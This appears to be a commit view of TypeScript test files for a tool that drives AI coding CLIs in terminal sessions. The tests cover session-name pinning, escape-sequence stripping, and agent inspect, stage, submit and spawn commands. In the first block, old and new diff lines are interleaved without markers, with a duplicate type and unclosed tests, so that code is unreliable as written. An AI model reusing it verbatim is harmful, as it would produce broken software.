import { appendClaudeCustomTitle } from '../src/claude-session-title.js';
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
type RespawnOptionsProbe = { _buildRespawnPaneOptions(): { name?: string; cliName?: string } };
type RespawnOptionsProbe = {
_buildRespawnPaneOptions(): { name?: string; cliName?: string };
_buildRespawnPaneOptionsWithResumePin(): Promise<{ name?: string; cliName?: string }>;
};
const probe = (session: Session) => session as unknown as RespawnOptionsProbe;
/** The respawn builder is the path every respawn takes; it re-reads the setting first. */
const cliNameAtRespawn = async (session: Session) =>
(await probe(session)._buildRespawnPaneOptionsWithResumePin()).cliName;
function writeSettings(settings: Record<string, unknown> | null) {
if (settings === null) {
rmSync(SETTINGS_PATH, { force: true });
return;
}
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
}
describe('Session.cliPinnedName', () => {
it('pins nothing for a placeholder, so Claude titles the conversation itself', () => {
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
expect(session.cliPinnedName).toBeUndefined();
const options = (session as unknown as RespawnOptionsProbe)._buildRespawnPaneOptions();
// The tab keeps its name; only the CLI flag is withheld.
expect(options.name).toBe('w1-demo');
expect(options.cliName).toBeUndefined();
afterEach(() => writeSettings(null));
describe('pinCliSessionName off (default)', () => {
it.each([null, {}, { pinCliSessionName: false }])(
'leaves a placeholder name unpinned (settings: %j)',
async (settings) => {
writeSettings(settings);
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
expect(await cliNameAtRespawn(session)).toBeUndefined();
expect(session.cliPinnedName).toBeUndefined();
expect(probe(session)._buildRespawnPaneOptions().name).toBe('w1-demo');
}
);
it('leaves an auto name unpinned', async () => {
writeSettings({ pinCliSessionName: false });
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
expect(session.applyAutoName('w1-demo: fix the login redirect')).toBe(true);
expect(await cliNameAtRespawn(session)).toBeUndefined();
});
it('still pins a name the user chose, at creation or by a rename', async () => {
writeSettings({ pinCliSessionName: false });
expect(await cliNameAtRespawn(new Session({ workingDir: '/tmp', name: 'msgtest-worker' }))).toBe(
'msgtest-worker'
);
const renamed = new Session({ workingDir: '/tmp', name: 'w1-demo' });
renamed.name = '登录修复';
expect(await cliNameAtRespawn(renamed)).toBe('登录修复');
});
});
it('pins nothing for an auto name, whose cut of the prompt Claude beats', () => {
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
expect(session.applyAutoName('w1-demo: fix the login redirect')).toBe(true);
expect(session.cliPinnedName).toBeUndefined();
describe('pinCliSessionName on', () => {
it('pins the placeholder name, so the CLI session matches the tab', async () => {
writeSettings({ pinCliSessionName: true });
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
expect(await cliNameAtRespawn(session)).toBe('w1-demo');
expect(session.cliPinnedName).toBe('w1-demo');
});
it('pins an auto name too, from the next spawn', async () => {
writeSettings({ pinCliSessionName: true });
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
expect(session.applyAutoName('w1-demo: fix the login redirect')).toBe(true);
expect(await cliNameAtRespawn(session)).toBe('w1-demo: fix the login redirect');
});
it('pins a name the user chose', async () => {
writeSettings({ pinCliSessionName: true });
const renamed = new Session({ workingDir: '/tmp', name: 'w1-demo' });
renamed.name = '登录修复';
expect(await cliNameAtRespawn(renamed)).toBe('登录修复');
});
it('never pins a blank name', async () => {
writeSettings({ pinCliSessionName: true });
expect(await cliNameAtRespawn(new Session({ workingDir: '/tmp', name: ' ' }))).toBeUndefined();
});
});
it('pins a name the user chose, at creation or by a rename', () => {
expect(new Session({ workingDir: '/tmp', name: 'msgtest-worker' }).cliPinnedName).toBe('msgtest-worker');
const renamed = new Session({ workingDir: '/tmp', name: 'w1-demo' });
renamed.name = '登录修复';
expect(renamed.cliPinnedName).toBe('登录修复');
expect((renamed as unknown as RespawnOptionsProbe)._buildRespawnPaneOptions().cliName).toBe('登录修复');
it('follows the setting on the next respawn of the same session, with no restart', async () => {
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
writeSettings({ pinCliSessionName: true });
expect(await cliNameAtRespawn(session)).toBe('w1-demo');
writeSettings({ pinCliSessionName: false });
expect(await cliNameAtRespawn(session)).toBeUndefined();
});
});
+71 -1
View File
@@ -102,7 +102,7 @@ describe('isMuxAltScreenOnlyStripMode', () => {
expect(isMuxAltScreenOnlyStripMode(mode, false)).toBe(false);
}
// The full strip and the mouse strip already own their modes; never double-gate.
for (const mode of ['claude', 'codex', 'gemini', 'opencode'] as const) {
for (const mode of ['claude', 'codex', 'gemini', 'opencode', 'copilot', 'pi'] as const) {
expect(isMuxAltScreenOnlyStripMode(mode, true)).toBe(false);
}
});
@@ -366,3 +366,73 @@ describe('strip decision table: live stream = replay, for every stock CLI', () =
}
}
});
/**
* GitHub Copilot CLI is the same shape as opencode: a full-screen TUI that turns mouse tracking
* on itself. Left in, xterm reports a plain drag to the TUI instead of selecting, so Auto Copy and
* copy-on-select did nothing (only Shift+drag selected). Same strip, same reason.
*/
describe('pi: alt-screen + mouse DECSETs stripped, 3J kept (#758)', () => {
// What fullscreen pi really emits on entering its TUI, read off a pane on 1.1.0, 1.4.0 and 1.5.0.
// Tracking comes on once, here, so a replay that drops it leaves the wheel dead unless the
// server remembers it. ?1004h (focus reporting) is not a mouse mode and stays.
const ENTER = '\x1b[?1049h\x1b[?7l\x1b[?1000h\x1b[?1002h\x1b[?1004h\x1b[?1006h';
it('is a mouse-strip mode under tmux, and only there', () => {
expect(isMuxMouseStripMode('pi', true)).toBe(true);
expect(isMuxMouseStripMode('pi', false)).toBe(false);
});
it('drops the alt-screen and mouse enables, and keeps focus reporting and 3J', () => {
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: true });
handleOutput(session, `${ENTER}\x1b[3JTUI`);
expect(session.terminalBuffer).toBe('\x1b[?7l\x1b[?1004h\x1b[3JTUI');
});
it('publishes cliMouseTracking so the wheel survives a replay', () => {
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: true });
handleOutput(session, `${ENTER}TUI`);
expect(session.toState().cliMouseTracking).toBe(true);
handleOutput(session, '\x1b[?1006l\x1b[?1004l\x1b[?1003l\x1b[?1002l\x1b[?1000l');
expect(session.toState().cliMouseTracking).toBeFalsy();
});
it('never sets the flag for an inline pi, which emits no mouse enable', () => {
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: true });
handleOutput(session, '\x1b[?2004hpi');
expect(session.toState().cliMouseTracking).toBeFalsy();
});
it('leaves a direct-PTY pi pane untouched', () => {
const session = new Session({ workingDir: '/tmp', mode: 'pi' as never, useMux: false });
handleOutput(session, '\x1b[?1049h\x1b[?1002hTUI');
expect(session.terminalBuffer).toBe('\x1b[?1049h\x1b[?1002hTUI');
});
});
describe('copilot: alt-screen + mouse DECSETs stripped, 3J kept', () => {
it('is a mouse-strip mode under tmux, and only there', () => {
expect(isMuxMouseStripMode('copilot', true)).toBe(true);
expect(isMuxMouseStripMode('copilot', false)).toBe(false);
});
it('drops mouse tracking so xterm keeps local text selection, and keeps 3J', () => {
const session = new Session({ workingDir: '/tmp', mode: 'copilot' as never, useMux: true });
handleOutput(session, '\x1b[?1003h\x1b[?1006h\x1b[3JTUI\x1b[?1006l\x1b[?1003l');
expect(session.terminalBuffer).toBe('\x1b[3JTUI');
});
it('publishes cliMouseTracking so the browser can forward the wheel and hand-encode clicks', () => {
const session = new Session({ workingDir: '/tmp', mode: 'copilot' as never, useMux: true });
handleOutput(session, '\x1b[?1002h\x1b[?1006hTUI');
expect(session.toState().cliMouseTracking).toBe(true);
handleOutput(session, '\x1b[?1002l\x1b[?1006l');
expect(session.toState().cliMouseTracking).toBeFalsy();
});
it('leaves a direct-PTY copilot pane untouched', () => {
const session = new Session({ workingDir: '/tmp', mode: 'copilot' as never, useMux: false });
handleOutput(session, '\x1b[?1049h\x1b[?1002hTUI');
expect(session.terminalBuffer).toBe('\x1b[?1049h\x1b[?1002hTUI');
});
});
+127
View File
@@ -0,0 +1,127 @@
/** @fileoverview Agent inspect/stage/submit transport, refusal and file boundaries. */
import { expect, it } from 'vitest';
import { mkdtemp, writeFile, rm } from 'node:fs/promises';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import {
agentInspect,
agentStage,
agentSubmit,
registerAgentCommands,
type AgentDeps,
type RequestOptions,
} from '../src/cli-agent.js';
import { Command } from 'commander';
const SELF = '11111111-1111-4111-8111-111111111111';
const OTHER = '22222222-2222-4222-8222-222222222222';
function deps() {
const calls: RequestOptions[] = [],
output: string[] = [];
const deps: AgentDeps = {
ctx: { apiUrl: 'http://localhost:1', selfId: SELF },
json: true,
now: () => 1,
io: { out: (line) => output.push(line), err: () => {} },
request: async (_ctx, options) => {
calls.push(options);
return {
status: 200,
text: '',
json: { success: true, data: { evidence: 'hello', stageId: OTHER, sha256: 'a'.repeat(64) } },
};
},
};
return { deps, calls, output };
}
it('inspect uses the ownership-checked versioned endpoint with exact bounds and cursor', async () => {
const d = deps();
expect(await agentInspect(d.deps, { id: OTHER, maxBytes: 42, since: 'cursor' })).toBe(0);
expect(d.calls[0]).toMatchObject({
method: 'GET',
path: `/api/v1/sessions/${OTHER}/inspect`,
query: { maxBytes: 42, since: 'cursor' },
});
expect(JSON.parse(d.output[0]).evidence).toBe('hello');
expect(await agentInspect(d.deps, { id: OTHER, maxBytes: 65537 })).toBe(4);
expect(d.calls).toHaveLength(1);
});
it('stage reads a bounded UTF8 file and never adds Enter; submit sends only receipt and hash', async () => {
const dir = await mkdtemp(join(tmpdir(), 'agent-stage-cli-'));
try {
const path = join(dir, 'message');
await writeFile(path, 'hello');
const d = deps();
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(0);
expect(d.calls[0]).toMatchObject({
method: 'POST',
path: `/api/v1/sessions/${OTHER}/stage`,
body: { message: 'hello' },
});
expect(await agentSubmit(d.deps, { id: OTHER, stageId: OTHER, confirmSha: 'a'.repeat(64) })).toBe(0);
expect(d.calls[1].body).toEqual({ stageId: OTHER, confirmSha: 'a'.repeat(64) });
await writeFile(path, 'hello\n');
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(4);
await writeFile(path, Buffer.from([0xff]));
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(4);
await writeFile(path, 'x'.repeat(8193));
expect(await agentStage(d.deps, { id: OTHER, messageFile: path })).toBe(4);
expect(d.calls).toHaveLength(2);
} finally {
await rm(dir, { recursive: true, force: true });
}
});
it('refuses self-target and malformed submission before transport', async () => {
const d = deps();
expect(await agentStage(d.deps, { id: SELF, messageFile: '/nonexistent' })).toBe(4);
expect(await agentSubmit(d.deps, { id: SELF, stageId: OTHER, confirmSha: 'a'.repeat(64) })).toBe(4);
expect(await agentSubmit(d.deps, { id: OTHER, stageId: OTHER, confirmSha: 'bad' })).toBe(4);
expect(d.calls).toHaveLength(0);
});
it('registers required file and confirmation options and bounded inspect flags', () => {
const program = new Command();
registerAgentCommands(program);
const commands = program.commands.find((command) => command.name() === 'agent')!.commands;
for (const name of ['inspect', 'stage', 'submit'])
expect(commands.some((command) => command.name() === name)).toBe(true);
expect(
commands.find((command) => command.name() === 'stage')!.options.find((option) => option.long === '--message-file')
?.mandatory
).toBe(true);
expect(
commands.find((command) => command.name() === 'submit')!.options.find((option) => option.long === '--confirm-sha')
?.mandatory
).toBe(true);
});
it('shows the opt-in 403 verbatim on inspect, stage and submit while the setting is off', async () => {
const dir = await mkdtemp(join(tmpdir(), 'agent-stage-cli-'));
try {
const path = join(dir, 'message');
await writeFile(path, 'hello');
const message =
'Experimental agent coordination (inspect, stage, submit) is disabled. Turn on "Experimental agent coordination" in Settings (agentCoordinationEnabled) and save first.';
for (const json of [false, true]) {
const lines: string[] = [];
const refusing: AgentDeps = {
ctx: { apiUrl: 'http://localhost:1', selfId: SELF },
json,
now: () => 1,
io: { out: (line) => lines.push(line), err: (line) => lines.push(line) },
request: async () => ({
status: 403,
text: '',
json: { success: false, error: message, errorCode: 'FORBIDDEN' },
}),
};
expect(await agentInspect(refusing, { id: OTHER, maxBytes: 10 })).toBe(1);
expect(await agentStage(refusing, { id: OTHER, messageFile: path })).toBe(1);
expect(await agentSubmit(refusing, { id: OTHER, stageId: OTHER, confirmSha: 'a'.repeat(64) })).toBe(1);
expect(lines).toHaveLength(3);
for (const line of lines) {
const shown = json ? (JSON.parse(line) as { success: boolean; error: string }).error : line;
expect(shown).toContain(`FORBIDDEN: ${message} (HTTP 403)`);
}
}
} finally {
await rm(dir, { recursive: true, force: true });
}
});
+351
View File
@@ -0,0 +1,351 @@
import { mkdir, mkdtemp, rm, symlink, writeFile } from 'node:fs/promises';
import http from 'node:http';
import { tmpdir } from 'node:os';
import { readFileSync } from 'node:fs';
import { join } from 'node:path';
import { Command } from 'commander';
import { afterEach, describe, expect, it, vi } from 'vitest';
import {
agentSpawn,
isHomeDirectory,
registerAgentCommands,
EXIT,
type AgentDeps,
type ApiResponse,
type RequestOptions,
} from '../src/cli-agent.js';
const SELF = '058ee7b5-b2aa-4c33-8cc1-e900eb0b28af';
const OTHER = '94990c6d-e461-4a29-aa83-89275327732c';
const dirs: string[] = [];
afterEach(async () => {
for (const dir of dirs.splice(0)) await rm(dir, { recursive: true, force: true });
});
const ok = (data: unknown): ApiResponse => ({ status: 200, json: { success: true, data }, text: '' });
function deps(responses: ApiResponse[]) {
const calls: RequestOptions[] = [];
const out: string[] = [];
const err: string[] = [];
const d: AgentDeps = {
ctx: { selfId: SELF, apiUrl: 'http://127.0.0.1:1' },
json: true,
now: Date.now,
io: { out: (s) => out.push(s), err: (s) => err.push(s) },
request: async (_ctx, options) => {
calls.push(options);
return responses.shift() ?? ok({});
},
};
return { d, calls, out, err };
}
const base = { mode: 'codex', ready: false, timeoutMs: 1000 };
describe('project-preserving agent spawn', () => {
it('uses existing session create and interactive endpoints with exact directory and lineage', async () => {
const directory = await mkdtemp(join(tmpdir(), 'cod549-project-'));
dirs.push(directory);
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
expect(await agentSpawn(t.d, { ...base, workingDir: directory, name: 'review' })).toBe(EXIT.ok);
expect(t.calls).toHaveLength(2);
expect(t.calls[0]).toMatchObject({
method: 'POST',
path: '/api/v1/sessions',
body: { workingDir: directory, mode: 'codex', name: 'review', parentSessionId: SELF },
});
expect(t.calls[0].headers ?? {}).not.toHaveProperty('X-Codeman-Agent-Origin');
expect(t.calls[1]).toMatchObject({ method: 'POST', path: `/api/v1/sessions/${OTHER}/interactive` });
expect(JSON.parse(t.out[0])).toMatchObject({ sessionId: OTHER, workingDir: directory });
});
it('defaults to the current directory when no case is supplied', async () => {
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
expect(await agentSpawn(t.d, base)).toBe(EXIT.ok);
expect(t.calls[0].body).toMatchObject({ workingDir: process.cwd() });
});
it('keeps explicit case quick-start behavior', async () => {
const t = deps([ok({ sessionId: OTHER })]);
expect(await agentSpawn(t.d, { ...base, caseName: 'scratch' })).toBe(EXIT.ok);
expect(t.calls).toHaveLength(1);
expect(t.calls[0].path).toBe('/api/v1/quick-start');
});
it('refuses case and working directory together before network IO', async () => {
const t = deps([]);
expect(await agentSpawn(t.d, { ...base, caseName: 'scratch', workingDir: process.cwd() })).toBe(EXIT.refused);
expect(t.calls).toEqual([]);
});
it('refuses missing directories, regular files and unknown modes before creating a session', async () => {
const directory = await mkdtemp(join(tmpdir(), 'cod549-project-'));
dirs.push(directory);
const file = join(directory, 'file');
await writeFile(file, 'x');
for (const options of [{ workingDir: join(directory, 'absent') }, { workingDir: file }, { mode: 'not-a-cli' }]) {
const t = deps([]);
expect(await agentSpawn(t.d, { ...base, ...options })).toBe(EXIT.refused);
expect(t.calls).toEqual([]);
}
});
it('reports the created session ID when startup fails instead of retrying or silently leaking it', async () => {
const t = deps([
ok({ session: { id: OTHER } }),
{ status: 400, text: '', json: { success: false, error: 'cannot start', errorCode: 'OPERATION_FAILED' } },
]);
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
expect(t.out).toHaveLength(1);
expect(JSON.parse(t.out.join('\n'))).toMatchObject({ sessionId: OTHER, created: true, ready: false });
expect(t.calls).toHaveLength(2);
});
it('does not request startup when creation is refused', async () => {
const t = deps([{ status: 403, text: 'Forbidden' }]);
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
expect(t.calls).toHaveLength(1);
});
it('retains the exact created ID on an ambiguous startup transport failure without retrying', async () => {
const t = deps([ok({ session: { id: OTHER } })]);
const request = t.d.request;
t.d.request = async (context, options) => {
if (options.path.endsWith('/interactive')) {
t.calls.push(options);
throw new Error('connection lost');
}
return request(context, options);
};
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
expect(t.out).toHaveLength(1);
expect(JSON.parse(t.out.join('\n'))).toMatchObject({
sessionId: OTHER,
created: true,
startupError: 'connection lost',
});
expect(t.calls).toHaveLength(2);
});
it('treats an empty startup exception as a failure and keeps the created ID', async () => {
const t = deps([ok({ session: { id: OTHER } })]);
const request = t.d.request;
t.d.request = async (context, options) => {
if (options.path.endsWith('/interactive')) throw new Error('');
return request(context, options);
};
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
expect(t.out).toHaveLength(1);
expect(JSON.parse(t.out[0])).toMatchObject({
sessionId: OTHER,
ready: false,
startupError: 'Startup request failed',
});
});
it('exposes an optional case and working directory in the CLI', () => {
const spawn = registerAgentCommands(new Command()).commands.find((command) => command.name() === 'spawn')!;
expect(spawn.registeredArguments[0].required).toBe(false);
expect(spawn.options.some((option) => option.long === '--working-dir')).toBe(true);
});
it('starts a shell through its registered startMode endpoint', async () => {
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
expect(await agentSpawn(t.d, { ...base, mode: 'shell' })).toBe(EXIT.ok);
expect(t.calls[1].path).toBe(`/api/v1/sessions/${OTHER}/shell`);
});
it('a create answer without session.id is a failure, and nothing is started', async () => {
// `POST /api/sessions` answers `{ session: { id } }`; a bare `{ id }` is not that route.
const t = deps([ok({ id: OTHER })]);
expect(await agentSpawn(t.d, base)).toBe(EXIT.error);
expect(t.calls).toHaveLength(1);
});
it('an empty case name goes to quick-start (which refuses it), never to the caller cwd', async () => {
const t = deps([
{
status: 400,
text: '',
json: { success: false, error: 'Invalid case name format', errorCode: 'INVALID_INPUT' },
},
]);
expect(await agentSpawn(t.d, { ...base, caseName: '' })).toBe(EXIT.error);
expect(t.calls).toHaveLength(1);
expect(t.calls[0]).toMatchObject({ method: 'POST', path: '/api/v1/quick-start', body: { caseName: '' } });
expect(t.calls[0].body).not.toHaveProperty('workingDir');
});
it('an empty case name with --working-dir is refused like any case plus --working-dir', async () => {
const t = deps([]);
expect(await agentSpawn(t.d, { ...base, caseName: '', workingDir: process.cwd() })).toBe(EXIT.refused);
expect(t.calls).toEqual([]);
});
it('an empty or whitespace-only --working-dir is refused before any request, never the caller cwd', async () => {
for (const workingDir of ['', ' ', '\t']) {
const t = deps([]);
expect(await agentSpawn(t.d, { ...base, workingDir })).toBe(EXIT.refused);
expect(t.calls).toEqual([]);
expect(t.out.join('\n')).toContain('--working-dir is empty');
}
});
it('with ready on claude: create, then /interactive, then wait-output on the created id', async () => {
const t = deps([ok({ session: { id: OTHER } }), ok({}), ok({ wait: { matched: true } })]);
expect(await agentSpawn(t.d, { ...base, mode: 'claude', ready: true })).toBe(EXIT.ok);
expect(t.calls.map((c) => `${c.method} ${c.path}`)).toEqual([
'POST /api/v1/sessions',
`POST /api/v1/sessions/${OTHER}/interactive`,
`GET /api/v1/sessions/${OTHER}/wait-output`,
]);
expect(t.calls[2].query).toMatchObject({ match: 'shift+tab', from: 'buffer' });
expect(JSON.parse(t.out[0])).toMatchObject({ sessionId: OTHER, created: true, ready: true });
});
it('without --json a failed start prints the id alone on stdout, the reason on stderr, and exits 1', async () => {
const t = deps([
ok({ session: { id: OTHER } }),
{ status: 400, text: '', json: { success: false, error: 'cannot start', errorCode: 'OPERATION_FAILED' } },
]);
t.d.json = false;
expect(await agentSpawn(t.d, { ...base, ready: true })).toBe(EXIT.error);
expect(t.out).toEqual([OTHER]);
expect(t.err).toHaveLength(1);
expect(t.err[0]).toContain(`Session ${OTHER} was created but startup failed`);
expect(t.err[0]).toContain('cannot start');
expect(t.calls).toHaveLength(2); // no readiness wait after a failed start
});
});
describe('agent spawn through the real argument parser and transport', () => {
async function runSpawn(args: string[]) {
const seen: Array<{ method?: string; url?: string; body: unknown }> = [];
const server = http.createServer((req, res) => {
const chunks: Buffer[] = [];
req.on('data', (c: Buffer) => chunks.push(c));
req.on('end', () => {
const raw = Buffer.concat(chunks).toString();
seen.push({ method: req.method, url: req.url, body: raw ? JSON.parse(raw) : undefined });
res
.writeHead(400, { 'Content-Type': 'application/json' })
.end(JSON.stringify({ success: false, error: 'refused', errorCode: 'INVALID_INPUT' }));
});
});
await new Promise<void>((done) => server.listen(0, '127.0.0.1', done));
const { port } = server.address() as { port: number };
const saved = { ...process.env };
const savedExit = process.exitCode;
const log = vi.spyOn(console, 'log').mockImplementation(() => {});
const error = vi.spyOn(console, 'error').mockImplementation(() => {});
try {
Object.assign(process.env, {
CODEMAN_MUX: '1',
CODEMAN_API_URL: `http://127.0.0.1:${port}`,
CODEMAN_SESSION_ID: SELF,
});
delete process.env.CODEMAN_PASSWORD;
const program = new Command();
program.exitOverride();
registerAgentCommands(program);
await program.parseAsync(['node', 'codeman', 'agent', 'spawn', ...args, '--no-ready', '--json']);
return { seen, exitCode: process.exitCode };
} finally {
process.exitCode = savedExit;
for (const key of ['CODEMAN_MUX', 'CODEMAN_API_URL', 'CODEMAN_SESSION_ID', 'CODEMAN_PASSWORD']) {
if (saved[key] === undefined) delete process.env[key];
else process.env[key] = saved[key];
}
log.mockRestore();
error.mockRestore();
await new Promise<void>((done) => server.close(() => done()));
}
}
it('`spawn ""` (as `spawn "$CASE"` with CASE unset) reaches quick-start with caseName "" and exits 1', async () => {
const { seen, exitCode } = await runSpawn(['']);
expect(seen).toHaveLength(1);
expect(seen[0]).toMatchObject({ method: 'POST', url: '/api/v1/quick-start', body: { caseName: '' } });
expect(exitCode).toBe(EXIT.error);
});
it('`spawn --working-dir ""` (as `--working-dir "$WT"` with WT unset) sends nothing and exits 4', async () => {
for (const value of ['', ' ']) {
const { seen, exitCode } = await runSpawn(['--working-dir', value]);
expect(seen).toEqual([]);
expect(exitCode).toBe(EXIT.refused);
}
});
it('`spawn` with no case argument creates in the caller cwd', async () => {
const { seen, exitCode } = await runSpawn([]);
expect(seen).toHaveLength(1);
expect(seen[0]).toMatchObject({ method: 'POST', url: '/api/v1/sessions', body: { workingDir: process.cwd() } });
expect(exitCode).toBe(EXIT.error);
});
it('bare `spawn` from a HOME cwd sends nothing and exits 4; `--working-dir <HOME>` is sent', async () => {
const home = await mkdtemp(join(tmpdir(), 'cod549-home-'));
dirs.push(home);
vi.stubEnv('HOME', home);
const cwd = vi.spyOn(process, 'cwd').mockReturnValue(home);
try {
const bare = await runSpawn([]);
expect(bare.seen).toEqual([]);
expect(bare.exitCode).toBe(EXIT.refused);
const explicit = await runSpawn(['--working-dir', home]);
expect(explicit.seen).toHaveLength(1);
expect(explicit.seen[0]).toMatchObject({ url: '/api/v1/sessions', body: { workingDir: home } });
} finally {
cwd.mockRestore();
vi.unstubAllEnvs();
}
});
});
describe('agent spawn never treats an implicit HOME cwd as a project', () => {
afterEach(() => {
vi.unstubAllEnvs();
vi.restoreAllMocks();
});
async function homeDir(): Promise<string> {
const directory = await mkdtemp(join(tmpdir(), 'cod549-home-'));
dirs.push(directory);
return directory;
}
it('refuses a cwd that is HOME with exit 4 before any request and names the explicit flag', async () => {
const home = await homeDir();
vi.stubEnv('HOME', home);
vi.spyOn(process, 'cwd').mockReturnValue(home);
const t = deps([]);
expect(await agentSpawn(t.d, { ...base, mode: 'claude' })).toBe(EXIT.refused);
expect(t.calls).toEqual([]);
expect(JSON.parse(t.out[0]).error).toContain('pass --working-dir ~');
});
it('compares realpaths, so a symlinked HOME still matches the cwd it points at', async () => {
const real = await homeDir();
const link = join(await homeDir(), 'home-link');
await symlink(real, link);
vi.stubEnv('HOME', link);
vi.spyOn(process, 'cwd').mockReturnValue(real);
const t = deps([]);
expect(await agentSpawn(t.d, base)).toBe(EXIT.refused);
expect(t.calls).toEqual([]);
});
it('allows an explicit --working-dir that is HOME, as POST /api/sessions does', async () => {
const home = await homeDir();
vi.stubEnv('HOME', home);
vi.spyOn(process, 'cwd').mockReturnValue(home);
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
expect(await agentSpawn(t.d, { ...base, workingDir: home })).toBe(EXIT.ok);
expect(t.calls[0].body).toMatchObject({ workingDir: home });
});
it('allows a cwd below HOME', async () => {
const home = await homeDir();
const project = join(home, 'src', 'app');
await mkdir(project, { recursive: true });
vi.stubEnv('HOME', home);
vi.spyOn(process, 'cwd').mockReturnValue(project);
const t = deps([ok({ session: { id: OTHER } }), ok({})]);
expect(await agentSpawn(t.d, base)).toBe(EXIT.ok);
expect(t.calls[0].body).toMatchObject({ workingDir: project });
});
it('never throws when HOME cannot be resolved, and compares the resolved paths instead', async () => {
const missing = join(await homeDir(), 'absent');
vi.stubEnv('HOME', missing);
await expect(isHomeDirectory(process.cwd())).resolves.toBe(false);
await expect(isHomeDirectory(missing)).resolves.toBe(true);
vi.stubEnv('HOME', '');
await expect(isHomeDirectory(process.cwd())).resolves.toBe(false);
});
});
describe('the directory-spawn --json shape is documented the same way everywhere', () => {
// The wiki wraps lines, so whitespace is normalized before comparing.
const clause =
'`{ sessionId, workingDir, created: true }`, plus `ready` when a readiness wait ran, `readinessError` when that call failed, and `startupError` when the start failed';
for (const file of ['README.md', 'docs/api-reference.md', 'docs/wiki/Driving-Codeman-From-An-Agent.md']) {
it(file, () => {
expect(readFileSync(new URL(`../${file}`, import.meta.url), 'utf8').replace(/\s+/g, ' ')).toContain(clause);
});
}
});
+288
View File
@@ -13,8 +13,11 @@ import { afterAll, beforeAll, describe, expect, it } from 'vitest';
import {
AgentGuardError,
EXIT,
agentAck,
agentInboxRead,
agentInterrupt,
agentLs,
agentPost,
agentRead,
agentRm,
agentSend,
@@ -27,14 +30,18 @@ import {
buildSendBody,
deleteRefusal,
describeFailure,
describeRequestError,
httpRequest,
inboxCell,
inputRefusal,
isSelfSession,
MIN_ID_PREFIX_LENGTH,
parsePositiveInt,
postTextFromArgs,
registerAgentCommands,
resolveAgentContext,
stripAnsi,
terminalSafeText,
waitExitCode,
type AgentContext,
type AgentDeps,
@@ -506,6 +513,8 @@ describe('agent spawn', () => {
it('takes the readiness mark from the CLI registry, not from a mode list', () => {
expect(composerReadyMark('claude')).toBe('shift+tab');
expect(composerReadyMark('deepseek')).toBe('❯');
// Copilot's trust dialog draws `❯ 1. Yes`, so its mark is the composer's footer hint instead.
expect(composerReadyMark('copilot')).toBe('/ commands · ? help');
expect(composerReadyMark('pi')).toBeUndefined();
expect(composerReadyMark('no-such-cli')).toBeUndefined();
});
@@ -540,6 +549,75 @@ describe('agent spawn', () => {
expect(deps.calls).toHaveLength(1);
expect(deps.err.join('')).toMatch(/SESSION_BUSY/);
});
it.each([false, true])('preserves the created id when readiness throws (json=%s)', async (json) => {
const deps = fakeDeps((options) => {
if (options.path === '/api/v1/quick-start') return ok({ sessionId: OTHER, caseName: 'c' });
throw new Error('readiness connection reset');
}, json);
const exit = await agentSpawn(deps, { caseName: 'c', mode: 'claude', ready: true, timeoutMs: 1000 }).catch(
() => undefined
);
if (json) {
expect(deps.out).toHaveLength(1);
expect(JSON.parse(deps.out[0])).toEqual({
sessionId: OTHER,
caseName: 'c',
readinessError: 'readiness connection reset',
});
expect(deps.err).toEqual([]);
} else {
expect(deps.out).toEqual([OTHER]);
expect(deps.err.join('')).toContain('readiness check failed: readiness connection reset');
expect(deps.err.join('')).not.toMatch(/composer not seen|startup dialog/);
}
expect(exit).toBe(EXIT.error);
expect(deps.calls.map(({ method, path }) => ({ method, path }))).toEqual([
{ method: 'POST', path: '/api/v1/quick-start' },
{ method: 'GET', path: `/api/v1/sessions/${OTHER}/wait-output` },
]);
});
it.each([
{ error: new Error(''), kind: 'Error' },
{ error: '', kind: 'string' },
])('reports a readiness failure when the thrown $kind has no message', async ({ error }) => {
const deps = fakeDeps((options) => {
if (options.path === '/api/v1/quick-start') return ok({ sessionId: OTHER });
throw error;
}, true);
expect(await agentSpawn(deps, { caseName: 'c', mode: 'claude', ready: true, timeoutMs: 1000 })).toBe(EXIT.error);
expect(deps.out).toHaveLength(1);
expect(JSON.parse(deps.out[0])).toEqual({ sessionId: OTHER, readinessError: 'request failed without a message' });
expect(deps.calls).toHaveLength(2);
});
it('keeps the error code when a refused connection rejects with an empty AggregateError', async () => {
// Node 22 on a host resolving to ::1 and 127.0.0.1: message '', code ECONNREFUSED.
const refused = Object.assign(new AggregateError([new Error('connect ECONNREFUSED ::1:3000')], ''), {
code: 'ECONNREFUSED',
});
const deps = fakeDeps((options) => {
if (options.path === '/api/v1/quick-start') return ok({ sessionId: OTHER });
throw refused;
}, true);
expect(await agentSpawn(deps, { caseName: 'c', mode: 'claude', ready: true, timeoutMs: 1000 })).toBe(EXIT.error);
expect(JSON.parse(deps.out[0])).toEqual({ sessionId: OTHER, readinessError: 'ECONNREFUSED' });
});
});
describe('describeRequestError', () => {
it('prefers the message, then the code, then a generic line', () => {
expect(describeRequestError(new Error('socket hang up'))).toBe('socket hang up');
expect(describeRequestError(Object.assign(new AggregateError([], ''), { code: 'ECONNREFUSED' }))).toBe(
'ECONNREFUSED'
);
expect(describeRequestError(new Error(''))).toBe('request failed without a message');
expect(describeRequestError('')).toBe('request failed without a message');
});
});
describe('session id prefixes', () => {
